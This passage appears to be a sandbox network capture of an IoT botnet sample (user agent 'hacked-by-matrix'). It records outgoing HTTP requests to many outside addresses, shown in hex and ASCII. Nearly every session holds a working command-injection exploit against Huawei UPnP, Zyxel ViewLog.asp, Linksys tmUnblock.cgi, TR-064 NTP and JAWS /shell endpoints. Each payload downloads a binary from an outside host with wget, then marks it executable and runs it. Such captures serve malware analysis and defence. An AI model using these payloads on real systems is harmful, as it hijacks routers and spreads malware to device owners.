6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:32.755856991 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:48.371814966 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	49956	213.176.35.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.360080004 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:17.518105984 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=61b3a1ef-6b0a-4179-9c67-7b5053fc7050; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	43574	206.2.169.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.519931078 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:17.676011086 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:17.676023006 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	60314	98.113.193.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.683342934 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	56066	86.195.204.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.696100950 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:17.887593985 CET	336	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:17.892857075 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:18.263370991 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	44932	184.163.54.241	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.897634029 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:18.282994986 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:18.405376911 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 21 Mar 2024 04:18:17 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	55682	24.158.73.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.102842093 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	55684	24.158.73.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.263566017 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	52248	59.25.167.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.264003992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	53030	94.122.90.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.359234095 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	60256	80.248.199.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.398468018 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:22.518923044 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
